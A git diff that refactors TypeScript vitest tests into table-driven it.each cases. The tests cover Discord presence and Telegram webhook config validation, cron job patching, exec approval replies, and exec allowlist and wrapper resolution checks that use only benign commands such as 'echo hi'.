expect(res.ok).toBe(true);
|
||||
});
|
||||
|
||||
it("accepts custom activity when type is omitted", () => {
|
||||
const res = validateConfigObject({
|
||||
channels: {
|
||||
discord: {
|
||||
activity: "Focus time",
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
expect(res.ok).toBe(true);
|
||||
});
|
||||
|
||||
it("accepts custom activity type", () => {
|
||||
const res = validateConfigObject({
|
||||
channels: {
|
||||
discord: {
|
||||
activity: "Chilling",
|
||||
activityType: 4,
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
expect(res.ok).toBe(true);
|
||||
});
|
||||
|
||||
it("rejects streaming activity without url", () => {
|
||||
const res = validateConfigObject({
|
||||
channels: {
|
||||
discord: {
|
||||
activity: "Live",
|
||||
activityType: 1,
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
expect(res.ok).toBe(false);
|
||||
});
|
||||
|
||||
it("rejects activityUrl without streaming type", () => {
|
||||
const res = validateConfigObject({
|
||||
channels: {
|
||||
discord: {
|
||||
activity: "Live",
|
||||
activityUrl: "https://twitch.tv/openclaw",
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
expect(res.ok).toBe(false);
|
||||
});
|
||||
|
||||
it("accepts auto presence config", () => {
|
||||
const res = validateConfigObject({
|
||||
channels: {
|
||||
it.each([
|
||||
{ name: "status-only presence", config: { discord: { status: "idle" } } },
|
||||
{
|
||||
name: "custom activity when type is omitted",
|
||||
config: { discord: { activity: "Focus time" } },
|
||||
},
|
||||
{
|
||||
name: "custom activity type",
|
||||
config: { discord: { activity: "Chilling", activityType: 4 } },
|
||||
},
|
||||
{
|
||||
name: "auto presence config",
|
||||
config: {
|
||||
discord: {
|
||||
autoPresence: {
|
||||
enabled: true,
|
||||
@@ -77,14 +24,23 @@ describe("config discord presence", () => {
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
expect(res.ok).toBe(true);
|
||||
},
|
||||
] as const)("accepts $name", ({ config }) => {
|
||||
expect(validateConfigObject({ channels: config }).ok).toBe(true);
|
||||
});
|
||||
|
||||
it("rejects auto presence min update interval above check interval", () => {
|
||||
const res = validateConfigObject({
|
||||
channels: {
|
||||
it.each([
|
||||
{
|
||||
name: "streaming activity without url",
|
||||
config: { discord: { activity: "Live", activityType: 1 } },
|
||||
},
|
||||
{
|
||||
name: "activityUrl without streaming type",
|
||||
config: { discord: { activity: "Live", activityUrl: "https://twitch.tv/openclaw" } },
|
||||
},
|
||||
{
|
||||
name: "auto presence min update interval above check interval",
|
||||
config: {
|
||||
discord: {
|
||||
autoPresence: {
|
||||
enabled: true,
|
||||
@@ -93,8 +49,8 @@ describe("config discord presence", () => {
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
|
||||
expect(res.ok).toBe(false);
|
||||
},
|
||||
] as const)("rejects $name", ({ config }) => {
|
||||
expect(validateConfigObject({ channels: config }).ok).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -2,28 +2,61 @@ import { describe, expect, it } from "vitest";
|
||||
import { validateConfigObject } from "./config.js";
|
||||
|
||||
describe("Telegram webhook config", () => {
|
||||
it("accepts webhookUrl when webhookSecret is configured", () => {
|
||||
const res = validateConfigObject({
|
||||
channels: {
|
||||
it.each([
|
||||
{
|
||||
name: "webhookUrl when webhookSecret is configured",
|
||||
config: {
|
||||
telegram: {
|
||||
webhookUrl: "https://example.com/telegram-webhook",
|
||||
webhookSecret: "secret",
|
||||
},
|
||||
},
|
||||
});
|
||||
expect(res.ok).toBe(true);
|
||||
});
|
||||
|
||||
it("accepts webhookUrl when webhookSecret is configured as SecretRef", () => {
|
||||
const res = validateConfigObject({
|
||||
channels: {
|
||||
},
|
||||
{
|
||||
name: "webhookUrl when webhookSecret is configured as SecretRef",
|
||||
config: {
|
||||
telegram: {
|
||||
webhookUrl: "https://example.com/telegram-webhook",
|
||||
webhookSecret: { source: "env", provider: "default", id: "TELEGRAM_WEBHOOK_SECRET" },
|
||||
webhookSecret: {
|
||||
source: "env",
|
||||
provider: "default",
|
||||
id: "TELEGRAM_WEBHOOK_SECRET",
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
expect(res.ok).toBe(true);
|
||||
},
|
||||
{
|
||||
name: "account webhookUrl when base webhookSecret is configured",
|
||||
config: {
|
||||
telegram: {
|
||||
webhookSecret: "secret",
|
||||
accounts: {
|
||||
ops: {
|
||||
webhookUrl: "https://example.com/telegram-webhook",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "account webhookUrl when account webhookSecret is configured as SecretRef",
|
||||
config: {
|
||||
telegram: {
|
||||
accounts: {
|
||||
ops: {
|
||||
webhookUrl: "https://example.com/telegram-webhook",
|
||||
webhookSecret: {
|
||||
source: "env",
|
||||
provider: "default",
|
||||
id: "TELEGRAM_OPS_WEBHOOK_SECRET",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
] as const)("accepts $name", ({ config }) => {
|
||||
expect(validateConfigObject({ channels: config }).ok).toBe(true);
|
||||
});
|
||||
|
||||
it("rejects webhookUrl without webhookSecret", () => {
|
||||
@@ -40,42 +73,6 @@ describe("Telegram webhook config", () => {
|
||||
}
|
||||
});
|
||||
|
||||
it("accepts account webhookUrl when base webhookSecret is configured", () => {
|
||||
const res = validateConfigObject({
|
||||
channels: {
|
||||
telegram: {
|
||||
webhookSecret: "secret",
|
||||
accounts: {
|
||||
ops: {
|
||||
webhookUrl: "https://example.com/telegram-webhook",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
expect(res.ok).toBe(true);
|
||||
});
|
||||
|
||||
it("accepts account webhookUrl when account webhookSecret is configured as SecretRef", () => {
|
||||
const res = validateConfigObject({
|
||||
channels: {
|
||||
telegram: {
|
||||
accounts: {
|
||||
ops: {
|
||||
webhookUrl: "https://example.com/telegram-webhook",
|
||||
webhookSecret: {
|
||||
source: "env",
|
||||
provider: "default",
|
||||
id: "TELEGRAM_OPS_WEBHOOK_SECRET",
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
},
|
||||
});
|
||||
expect(res.ok).toBe(true);
|
||||
});
|
||||
|
||||
it("rejects account webhookUrl without webhookSecret", () => {
|
||||
const res = validateConfigObject({
|
||||
channels: {
|
||||
|
||||
@@ -214,30 +214,26 @@ describe("applyJobPatch", () => {
|
||||
}
|
||||
});
|
||||
|
||||
it("rejects webhook delivery without a valid http(s) target URL", () => {
|
||||
it.each([
|
||||
{ name: "no delivery update", patch: { enabled: true } satisfies CronJobPatch },
|
||||
{
|
||||
name: "blank webhook target",
|
||||
patch: { delivery: { mode: "webhook", to: "" } } satisfies CronJobPatch,
|
||||
},
|
||||
{
|
||||
name: "non-http protocol",
|
||||
patch: {
|
||||
delivery: { mode: "webhook", to: "ftp://example.invalid" },
|
||||
} satisfies CronJobPatch,
|
||||
},
|
||||
{
|
||||
name: "invalid URL",
|
||||
patch: { delivery: { mode: "webhook", to: "not-a-url" } } satisfies CronJobPatch,
|
||||
},
|
||||
] as const)("rejects invalid webhook delivery target URL: $name", ({ patch }) => {
|
||||
const expectedError = "cron webhook delivery requires delivery.to to be a valid http(s) URL";
|
||||
const cases = [
|
||||
{ name: "no delivery update", patch: { enabled: true } satisfies CronJobPatch },
|
||||
{
|
||||
name: "blank webhook target",
|
||||
patch: { delivery: { mode: "webhook", to: "" } } satisfies CronJobPatch,
|
||||
},
|
||||
{
|
||||
name: "non-http protocol",
|
||||
patch: {
|
||||
delivery: { mode: "webhook", to: "ftp://example.invalid" },
|
||||
} satisfies CronJobPatch,
|
||||
},
|
||||
{
|
||||
name: "invalid URL",
|
||||
patch: { delivery: { mode: "webhook", to: "not-a-url" } } satisfies CronJobPatch,
|
||||
},
|
||||
] as const;
|
||||
|
||||
for (const testCase of cases) {
|
||||
const job = createMainSystemEventJob("job-webhook-invalid", { mode: "webhook" });
|
||||
expect(() => applyJobPatch(job, testCase.patch), testCase.name).toThrow(expectedError);
|
||||
}
|
||||
const job = createMainSystemEventJob("job-webhook-invalid", { mode: "webhook" });
|
||||
expect(() => applyJobPatch(job, patch)).toThrow(expectedError);
|
||||
});
|
||||
|
||||
it("trims webhook delivery target URLs", () => {
|
||||
@@ -309,70 +305,19 @@ describe("applyJobPatch", () => {
|
||||
);
|
||||
});
|
||||
|
||||
it("accepts Telegram delivery with t.me URL", () => {
|
||||
const job = createIsolatedAgentTurnJob("job-telegram-tme", {
|
||||
mode: "announce",
|
||||
channel: "telegram",
|
||||
to: "https://t.me/mychannel",
|
||||
});
|
||||
|
||||
expect(() => applyJobPatch(job, { enabled: true })).not.toThrow();
|
||||
});
|
||||
|
||||
it("accepts Telegram delivery with t.me URL (no https)", () => {
|
||||
const job = createIsolatedAgentTurnJob("job-telegram-tme-no-https", {
|
||||
mode: "announce",
|
||||
channel: "telegram",
|
||||
to: "t.me/mychannel",
|
||||
});
|
||||
|
||||
expect(() => applyJobPatch(job, { enabled: true })).not.toThrow();
|
||||
});
|
||||
|
||||
it("accepts Telegram delivery with valid target (plain chat id)", () => {
|
||||
it.each([
|
||||
{ name: "t.me URL", to: "https://t.me/mychannel" },
|
||||
{ name: "t.me URL (no https)", to: "t.me/mychannel" },
|
||||
{ name: "valid target (plain chat id)", to: "-1001234567890" },
|
||||
{ name: "valid target (colon delimiter)", to: "-1001234567890:123" },
|
||||
{ name: "valid target (topic marker)", to: "-1001234567890:topic:456" },
|
||||
{ name: "@username", to: "@mybot" },
|
||||
{ name: "without target", to: undefined },
|
||||
] as const)("accepts Telegram delivery with $name", ({ to }) => {
|
||||
const job = createIsolatedAgentTurnJob("job-telegram-valid", {
|
||||
mode: "announce",
|
||||
channel: "telegram",
|
||||
to: "-1001234567890",
|
||||
});
|
||||
|
||||
expect(() => applyJobPatch(job, { enabled: true })).not.toThrow();
|
||||
});
|
||||
|
||||
it("accepts Telegram delivery with valid target (colon delimiter)", () => {
|
||||
const job = createIsolatedAgentTurnJob("job-telegram-valid-colon", {
|
||||
mode: "announce",
|
||||
channel: "telegram",
|
||||
to: "-1001234567890:123",
|
||||
});
|
||||
|
||||
expect(() => applyJobPatch(job, { enabled: true })).not.toThrow();
|
||||
});
|
||||
|
||||
it("accepts Telegram delivery with valid target (topic marker)", () => {
|
||||
const job = createIsolatedAgentTurnJob("job-telegram-valid-topic", {
|
||||
mode: "announce",
|
||||
channel: "telegram",
|
||||
to: "-1001234567890:topic:456",
|
||||
});
|
||||
|
||||
expect(() => applyJobPatch(job, { enabled: true })).not.toThrow();
|
||||
});
|
||||
|
||||
it("accepts Telegram delivery without target", () => {
|
||||
const job = createIsolatedAgentTurnJob("job-telegram-no-target", {
|
||||
mode: "announce",
|
||||
channel: "telegram",
|
||||
});
|
||||
|
||||
expect(() => applyJobPatch(job, { enabled: true })).not.toThrow();
|
||||
});
|
||||
|
||||
it("accepts Telegram delivery with @username", () => {
|
||||
const job = createIsolatedAgentTurnJob("job-telegram-username", {
|
||||
mode: "announce",
|
||||
channel: "telegram",
|
||||
to: "@mybot",
|
||||
...(to ? { to } : {}),
|
||||
});
|
||||
|
||||
expect(() => applyJobPatch(job, { enabled: true })).not.toThrow();
|
||||
@@ -401,27 +346,21 @@ describe("createJob rejects sessionTarget main for non-default agents", () => {
|
||||
...(agentId !== undefined ? { agentId } : {}),
|
||||
});
|
||||
|
||||
it("allows creating a main-session job for the default agent", () => {
|
||||
const state = createMockState(now, { defaultAgentId: "main" });
|
||||
expect(() => createJob(state, mainJobInput())).not.toThrow();
|
||||
expect(() => createJob(state, mainJobInput("main"))).not.toThrow();
|
||||
it.each([
|
||||
{ name: "default agent", defaultAgentId: "main", agentId: undefined },
|
||||
{ name: "explicit default agent", defaultAgentId: "main", agentId: "main" },
|
||||
{ name: "case-insensitive defaultAgentId match", defaultAgentId: "Main", agentId: "MAIN" },
|
||||
] as const)("allows creating a main-session job for $name", ({ defaultAgentId, agentId }) => {
|
||||
const state = createMockState(now, { defaultAgentId });
|
||||
expect(() => createJob(state, mainJobInput(agentId))).not.toThrow();
|
||||
});
|
||||
|
||||
it("allows creating a main-session job when defaultAgentId matches (case-insensitive)", () => {
|
||||
const state = createMockState(now, { defaultAgentId: "Main" });
|
||||
expect(() => createJob(state, mainJobInput("MAIN"))).not.toThrow();
|
||||
});
|
||||
|
||||
it("rejects creating a main-session job for a non-default agentId", () => {
|
||||
const state = createMockState(now, { defaultAgentId: "main" });
|
||||
expect(() => createJob(state, mainJobInput("custom-agent"))).toThrow(
|
||||
'cron: sessionTarget "main" is only valid for the default agent',
|
||||
);
|
||||
});
|
||||
|
||||
it("rejects main-session job for non-default agent even without explicit defaultAgentId", () => {
|
||||
const state = createMockState(now);
|
||||
expect(() => createJob(state, mainJobInput("custom-agent"))).toThrow(
|
||||
it.each([
|
||||
{ name: "non-default agentId", defaultAgentId: "main", agentId: "custom-agent" },
|
||||
{ name: "missing defaultAgentId", defaultAgentId: undefined, agentId: "custom-agent" },
|
||||
] as const)("rejects creating a main-session job for $name", ({ defaultAgentId, agentId }) => {
|
||||
const state = createMockState(now, defaultAgentId ? { defaultAgentId } : undefined);
|
||||
expect(() => createJob(state, mainJobInput(agentId))).toThrow(
|
||||
'cron: sessionTarget "main" is only valid for the default agent',
|
||||
);
|
||||
});
|
||||
@@ -478,22 +417,19 @@ describe("applyJobPatch rejects sessionTarget main for non-default agents", () =
|
||||
agentId,
|
||||
});
|
||||
|
||||
it("rejects patching agentId to non-default on a main-session job", () => {
|
||||
it.each([
|
||||
{ name: "rejects patching agentId to non-default", agentId: "custom-agent", shouldThrow: true },
|
||||
{ name: "allows patching agentId to the default agent", agentId: "main", shouldThrow: false },
|
||||
] as const)("$name on a main-session job", ({ agentId, shouldThrow }) => {
|
||||
const job = createMainJob();
|
||||
expect(() =>
|
||||
applyJobPatch(job, { agentId: "custom-agent" } as CronJobPatch, {
|
||||
defaultAgentId: "main",
|
||||
}),
|
||||
).toThrow('cron: sessionTarget "main" is only valid for the default agent');
|
||||
});
|
||||
|
||||
it("allows patching agentId to the default agent on a main-session job", () => {
|
||||
const job = createMainJob();
|
||||
expect(() =>
|
||||
applyJobPatch(job, { agentId: "main" } as CronJobPatch, {
|
||||
defaultAgentId: "main",
|
||||
}),
|
||||
).not.toThrow();
|
||||
const patch = { agentId } as CronJobPatch;
|
||||
if (shouldThrow) {
|
||||
expect(() => applyJobPatch(job, patch, { defaultAgentId: "main" })).toThrow(
|
||||
'cron: sessionTarget "main" is only valid for the default agent',
|
||||
);
|
||||
return;
|
||||
}
|
||||
expect(() => applyJobPatch(job, patch, { defaultAgentId: "main" })).not.toThrow();
|
||||
});
|
||||
});
|
||||
|
||||
|
||||
@@ -8,25 +8,54 @@ import {
|
||||
} from "./exec-approval-reply.js";
|
||||
|
||||
describe("exec approval reply helpers", () => {
|
||||
const invalidReplyMetadataCases = [
|
||||
{ name: "empty object", payload: {} },
|
||||
{ name: "null channelData", payload: { channelData: null } },
|
||||
{ name: "array channelData", payload: { channelData: [] } },
|
||||
{ name: "null execApproval", payload: { channelData: { execApproval: null } } },
|
||||
{ name: "array execApproval", payload: { channelData: { execApproval: [] } } },
|
||||
{
|
||||
name: "blank approval slug",
|
||||
payload: { channelData: { execApproval: { approvalId: "req-1", approvalSlug: " " } } },
|
||||
},
|
||||
{
|
||||
name: "blank approval id",
|
||||
payload: { channelData: { execApproval: { approvalId: " ", approvalSlug: "slug-1" } } },
|
||||
},
|
||||
] as const;
|
||||
|
||||
const unavailableReasonCases = [
|
||||
{
|
||||
reason: "initiating-platform-disabled" as const,
|
||||
channelLabel: "Slack",
|
||||
expected: "Exec approval is required, but chat exec approvals are not enabled on Slack.",
|
||||
},
|
||||
{
|
||||
reason: "initiating-platform-unsupported" as const,
|
||||
channelLabel: undefined,
|
||||
expected:
|
||||
"Exec approval is required, but this platform does not support chat exec approvals.",
|
||||
},
|
||||
{
|
||||
reason: "no-approval-route" as const,
|
||||
channelLabel: undefined,
|
||||
expected:
|
||||
"Exec approval is required, but no interactive approval client is currently available.",
|
||||
},
|
||||
] as const;
|
||||
|
||||
it("returns the approver DM notice text", () => {
|
||||
expect(getExecApprovalApproverDmNoticeText()).toBe(
|
||||
"Approval required. I sent the allowed approvers DMs.",
|
||||
);
|
||||
});
|
||||
|
||||
it("returns null for invalid reply metadata payloads", () => {
|
||||
for (const payload of [
|
||||
{},
|
||||
{ channelData: null },
|
||||
{ channelData: [] },
|
||||
{ channelData: { execApproval: null } },
|
||||
{ channelData: { execApproval: [] } },
|
||||
{ channelData: { execApproval: { approvalId: "req-1", approvalSlug: " " } } },
|
||||
{ channelData: { execApproval: { approvalId: " ", approvalSlug: "slug-1" } } },
|
||||
] as unknown[]) {
|
||||
it.each(invalidReplyMetadataCases)(
|
||||
"returns null for invalid reply metadata payload: $name",
|
||||
({ payload }) => {
|
||||
expect(getExecApprovalReplyMetadata(payload as ReplyPayload)).toBeNull();
|
||||
}
|
||||
});
|
||||
},
|
||||
);
|
||||
|
||||
it("normalizes reply metadata and filters invalid decisions", () => {
|
||||
expect(
|
||||
@@ -100,7 +129,7 @@ describe("exec approval reply helpers", () => {
|
||||
expect(payload.text).toContain("Expires in: 0s");
|
||||
});
|
||||
|
||||
it("builds unavailable payloads for approver DMs and each fallback reason", () => {
|
||||
it("builds unavailable payloads for approver DMs", () => {
|
||||
expect(
|
||||
buildExecApprovalUnavailableReplyPayload({
|
||||
warningText: " Careful. ",
|
||||
@@ -110,34 +139,17 @@ describe("exec approval reply helpers", () => {
|
||||
).toEqual({
|
||||
text: "Careful.\n\nApproval required. I sent the allowed approvers DMs.",
|
||||
});
|
||||
});
|
||||
|
||||
const cases = [
|
||||
{
|
||||
reason: "initiating-platform-disabled" as const,
|
||||
channelLabel: "Slack",
|
||||
expected: "Exec approval is required, but chat exec approvals are not enabled on Slack.",
|
||||
},
|
||||
{
|
||||
reason: "initiating-platform-unsupported" as const,
|
||||
channelLabel: undefined,
|
||||
expected:
|
||||
"Exec approval is required, but this platform does not support chat exec approvals.",
|
||||
},
|
||||
{
|
||||
reason: "no-approval-route" as const,
|
||||
channelLabel: undefined,
|
||||
expected:
|
||||
"Exec approval is required, but no interactive approval client is currently available.",
|
||||
},
|
||||
];
|
||||
|
||||
for (const testCase of cases) {
|
||||
it.each(unavailableReasonCases)(
|
||||
"builds unavailable payload for reason $reason",
|
||||
({ reason, channelLabel, expected }) => {
|
||||
expect(
|
||||
buildExecApprovalUnavailableReplyPayload({
|
||||
reason: testCase.reason,
|
||||
channelLabel: testCase.channelLabel,
|
||||
reason,
|
||||
channelLabel,
|
||||
}).text,
|
||||
).toContain(testCase.expected);
|
||||
}
|
||||
});
|
||||
).toContain(expected);
|
||||
},
|
||||
);
|
||||
});
|
||||
|
||||
@@ -254,27 +254,22 @@ describe("exec approvals safe bins", () => {
|
||||
},
|
||||
];
|
||||
|
||||
for (const testCase of cases) {
|
||||
it(testCase.name, () => {
|
||||
if (process.platform === "win32") {
|
||||
return;
|
||||
}
|
||||
const cwd = testCase.cwd ?? makeTempDir();
|
||||
testCase.setup?.(cwd);
|
||||
const executableName = testCase.executableName ?? "jq";
|
||||
const rawExecutable = testCase.rawExecutable ?? executableName;
|
||||
const ok = isSafeBinUsage({
|
||||
argv: testCase.argv,
|
||||
resolution: {
|
||||
rawExecutable,
|
||||
resolvedPath: testCase.resolvedPath,
|
||||
executableName,
|
||||
},
|
||||
safeBins: normalizeSafeBins(testCase.safeBins ?? [executableName]),
|
||||
});
|
||||
expect(ok).toBe(testCase.expected);
|
||||
it.runIf(process.platform !== "win32").each(cases)("$name", (testCase) => {
|
||||
const cwd = testCase.cwd ?? makeTempDir();
|
||||
testCase.setup?.(cwd);
|
||||
const executableName = testCase.executableName ?? "jq";
|
||||
const rawExecutable = testCase.rawExecutable ?? executableName;
|
||||
const ok = isSafeBinUsage({
|
||||
argv: testCase.argv,
|
||||
resolution: {
|
||||
rawExecutable,
|
||||
resolvedPath: testCase.resolvedPath,
|
||||
executableName,
|
||||
},
|
||||
safeBins: normalizeSafeBins(testCase.safeBins ?? [executableName]),
|
||||
});
|
||||
}
|
||||
expect(ok).toBe(testCase.expected);
|
||||
});
|
||||
|
||||
it("supports injected trusted safe-bin dirs for tests/callers", () => {
|
||||
if (process.platform === "win32") {
|
||||
|
||||
@@ -312,73 +312,75 @@ describe("exec-command-resolution", () => {
|
||||
).toBeUndefined();
|
||||
});
|
||||
|
||||
it("keeps execution and policy targets coherent across wrapper classes", () => {
|
||||
if (process.platform === "win32") {
|
||||
return;
|
||||
}
|
||||
|
||||
const dir = makeTempDir();
|
||||
const binDir = path.join(dir, "bin");
|
||||
fs.mkdirSync(binDir, { recursive: true });
|
||||
const envPath = path.join(binDir, "env");
|
||||
const rgPath = path.join(binDir, "rg");
|
||||
const busybox = path.join(dir, "busybox");
|
||||
const resolvedShPath = fs.realpathSync("/bin/sh");
|
||||
for (const file of [envPath, rgPath, busybox]) {
|
||||
fs.writeFileSync(file, "");
|
||||
fs.chmodSync(file, 0o755);
|
||||
}
|
||||
|
||||
const cases = [
|
||||
{
|
||||
name: "transparent env wrapper",
|
||||
argv: [envPath, "rg", "-n", "needle"],
|
||||
env: makePathEnv(binDir),
|
||||
expectedExecutionPath: rgPath,
|
||||
expectedPolicyPath: rgPath,
|
||||
expectedPlannedArgv: [fs.realpathSync(rgPath), "-n", "needle"],
|
||||
allowlistPattern: rgPath,
|
||||
allowlistSatisfied: true,
|
||||
},
|
||||
{
|
||||
name: "busybox shell multiplexer",
|
||||
argv: [busybox, "sh", "-lc", "echo hi"],
|
||||
env: { PATH: `${binDir}${path.delimiter}/bin:/usr/bin` },
|
||||
expectedExecutionPath: "/bin/sh",
|
||||
expectedPolicyPath: busybox,
|
||||
expectedPlannedArgv: [resolvedShPath, "-lc", "echo hi"],
|
||||
allowlistPattern: busybox,
|
||||
allowlistSatisfied: true,
|
||||
},
|
||||
{
|
||||
name: "semantic env wrapper",
|
||||
argv: [envPath, "FOO=bar", "rg", "-n", "needle"],
|
||||
env: makePathEnv(binDir),
|
||||
expectedExecutionPath: envPath,
|
||||
expectedPolicyPath: envPath,
|
||||
expectedPlannedArgv: null,
|
||||
allowlistPattern: envPath,
|
||||
allowlistSatisfied: false,
|
||||
},
|
||||
{
|
||||
name: "wrapper depth overflow",
|
||||
argv: buildNestedEnvShellCommand({
|
||||
it.runIf(process.platform !== "win32").each([
|
||||
{
|
||||
name: "transparent env wrapper",
|
||||
argvFactory: ({ envPath }: { envPath: string }) => [envPath, "rg", "-n", "needle"],
|
||||
envFactory: ({ binDir }: { binDir: string }) => makePathEnv(binDir),
|
||||
expectedExecutionPathFactory: ({ rgPath }: { rgPath: string }) => rgPath,
|
||||
expectedPolicyPathFactory: ({ rgPath }: { rgPath: string }) => rgPath,
|
||||
expectedPlannedArgvFactory: ({ rgPath }: { rgPath: string }) => [
|
||||
fs.realpathSync(rgPath),
|
||||
"-n",
|
||||
"needle",
|
||||
],
|
||||
allowlistPatternFactory: ({ rgPath }: { rgPath: string }) => rgPath,
|
||||
allowlistSatisfied: true,
|
||||
},
|
||||
{
|
||||
name: "busybox shell multiplexer",
|
||||
argvFactory: ({ busybox }: { busybox: string }) => [busybox, "sh", "-lc", "echo hi"],
|
||||
envFactory: ({ binDir }: { binDir: string }) => ({
|
||||
PATH: `${binDir}${path.delimiter}/bin:/usr/bin`,
|
||||
}),
|
||||
expectedExecutionPathFactory: () => "/bin/sh",
|
||||
expectedPolicyPathFactory: ({ busybox }: { busybox: string }) => busybox,
|
||||
expectedPlannedArgvFactory: () => [fs.realpathSync("/bin/sh"), "-lc", "echo hi"],
|
||||
allowlistPatternFactory: ({ busybox }: { busybox: string }) => busybox,
|
||||
allowlistSatisfied: true,
|
||||
},
|
||||
{
|
||||
name: "semantic env wrapper",
|
||||
argvFactory: ({ envPath }: { envPath: string }) => [envPath, "FOO=bar", "rg", "-n", "needle"],
|
||||
envFactory: ({ binDir }: { binDir: string }) => makePathEnv(binDir),
|
||||
expectedExecutionPathFactory: ({ envPath }: { envPath: string }) => envPath,
|
||||
expectedPolicyPathFactory: ({ envPath }: { envPath: string }) => envPath,
|
||||
expectedPlannedArgvFactory: () => null,
|
||||
allowlistPatternFactory: ({ envPath }: { envPath: string }) => envPath,
|
||||
allowlistSatisfied: false,
|
||||
},
|
||||
{
|
||||
name: "wrapper depth overflow",
|
||||
argvFactory: ({ envPath }: { envPath: string }) =>
|
||||
buildNestedEnvShellCommand({
|
||||
envExecutable: envPath,
|
||||
depth: 5,
|
||||
payload: "echo hi",
|
||||
}),
|
||||
env: makePathEnv(binDir),
|
||||
expectedExecutionPath: envPath,
|
||||
expectedPolicyPath: envPath,
|
||||
expectedPlannedArgv: null,
|
||||
allowlistPattern: envPath,
|
||||
allowlistSatisfied: false,
|
||||
},
|
||||
] as const;
|
||||
|
||||
for (const testCase of cases) {
|
||||
const argv = [...testCase.argv];
|
||||
const resolution = resolveCommandResolutionFromArgv(argv, dir, testCase.env);
|
||||
envFactory: ({ binDir }: { binDir: string }) => makePathEnv(binDir),
|
||||
expectedExecutionPathFactory: ({ envPath }: { envPath: string }) => envPath,
|
||||
expectedPolicyPathFactory: ({ envPath }: { envPath: string }) => envPath,
|
||||
expectedPlannedArgvFactory: () => null,
|
||||
allowlistPatternFactory: ({ envPath }: { envPath: string }) => envPath,
|
||||
allowlistSatisfied: false,
|
||||
},
|
||||
] as const)(
|
||||
"keeps execution and policy targets coherent across wrapper classes: $name",
|
||||
(testCase) => {
|
||||
const dir = makeTempDir();
|
||||
const binDir = path.join(dir, "bin");
|
||||
fs.mkdirSync(binDir, { recursive: true });
|
||||
const envPath = path.join(binDir, "env");
|
||||
const rgPath = path.join(binDir, "rg");
|
||||
const busybox = path.join(dir, "busybox");
|
||||
for (const file of [envPath, rgPath, busybox]) {
|
||||
fs.writeFileSync(file, "");
|
||||
fs.chmodSync(file, 0o755);
|
||||
}
|
||||
const fixture = { binDir, envPath, rgPath, busybox } as const;
|
||||
const argv = [...testCase.argvFactory(fixture)];
|
||||
const env = testCase.envFactory(fixture);
|
||||
const resolution = resolveCommandResolutionFromArgv(argv, dir, env);
|
||||
const segment = {
|
||||
raw: argv.join(" "),
|
||||
argv,
|
||||
@@ -388,24 +390,24 @@ describe("exec-command-resolution", () => {
|
||||
name: testCase.name,
|
||||
resolution,
|
||||
cwd: dir,
|
||||
expectedExecutionPath: testCase.expectedExecutionPath,
|
||||
expectedPolicyPath: testCase.expectedPolicyPath,
|
||||
expectedExecutionPath: testCase.expectedExecutionPathFactory(fixture),
|
||||
expectedPolicyPath: testCase.expectedPolicyPathFactory(fixture),
|
||||
});
|
||||
expect(resolvePlannedSegmentArgv(segment), `${testCase.name} planned argv`).toEqual(
|
||||
testCase.expectedPlannedArgv,
|
||||
testCase.expectedPlannedArgvFactory(fixture),
|
||||
);
|
||||
const evaluation = evaluateExecAllowlist({
|
||||
analysis: { ok: true, segments: [segment] },
|
||||
allowlist: [{ pattern: testCase.allowlistPattern }],
|
||||
allowlist: [{ pattern: testCase.allowlistPatternFactory(fixture) }],
|
||||
safeBins: normalizeSafeBins([]),
|
||||
cwd: dir,
|
||||
env: testCase.env,
|
||||
env,
|
||||
});
|
||||
expect(evaluation.allowlistSatisfied, `${testCase.name} allowlist`).toBe(
|
||||
testCase.allowlistSatisfied,
|
||||
);
|
||||
}
|
||||
});
|
||||
},
|
||||
);
|
||||
|
||||
it("normalizes argv tokens for short clusters, long options, and special sentinels", () => {
|
||||
expect(parseExecArgvToken("")).toEqual({ kind: "empty", raw: "" });
|
||||
|
||||
@@ -8,11 +8,13 @@ import {
|
||||
} from "./payload.js";
|
||||
|
||||
describe("hasReplyChannelData", () => {
|
||||
it("accepts non-empty objects only", () => {
|
||||
expect(hasReplyChannelData(undefined)).toBe(false);
|
||||
expect(hasReplyChannelData({})).toBe(false);
|
||||
expect(hasReplyChannelData([])).toBe(false);
|
||||
expect(hasReplyChannelData({ slack: { blocks: [] } })).toBe(true);
|
||||
it.each([
|
||||
{ value: undefined, expected: false },
|
||||
{ value: {}, expected: false },
|
||||
{ value: [], expected: false },
|
||||
{ value: { slack: { blocks: [] } }, expected: true },
|
||||
] as const)("accepts non-empty objects only: %j", ({ value, expected }) => {
|
||||
expect(hasReplyChannelData(value)).toBe(expected);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -28,20 +30,24 @@ describe("hasReplyContent", () => {
|
||||
).toBe(false);
|
||||
});
|
||||
|
||||
it("accepts shared interactive blocks and explicit extra content", () => {
|
||||
expect(
|
||||
hasReplyContent({
|
||||
it.each([
|
||||
{
|
||||
name: "shared interactive blocks",
|
||||
input: {
|
||||
interactive: {
|
||||
blocks: [{ type: "buttons", buttons: [{ label: "Retry", value: "retry" }] }],
|
||||
},
|
||||
}),
|
||||
).toBe(true);
|
||||
expect(
|
||||
hasReplyContent({
|
||||
},
|
||||
},
|
||||
{
|
||||
name: "explicit extra content",
|
||||
input: {
|
||||
text: " ",
|
||||
extraContent: true,
|
||||
}),
|
||||
).toBe(true);
|
||||
},
|
||||
},
|
||||
] as const)("accepts $name", ({ input }) => {
|
||||
expect(hasReplyContent(input)).toBe(true);
|
||||
});
|
||||
});
|
||||
|
||||
@@ -55,28 +61,28 @@ describe("hasReplyPayloadContent", () => {
|
||||
).toBe(true);
|
||||
});
|
||||
|
||||
it("accepts explicit channel-data overrides and extra content", () => {
|
||||
expect(
|
||||
hasReplyPayloadContent(
|
||||
{
|
||||
text: " ",
|
||||
channelData: {},
|
||||
},
|
||||
{
|
||||
hasChannelData: true,
|
||||
},
|
||||
),
|
||||
).toBe(true);
|
||||
expect(
|
||||
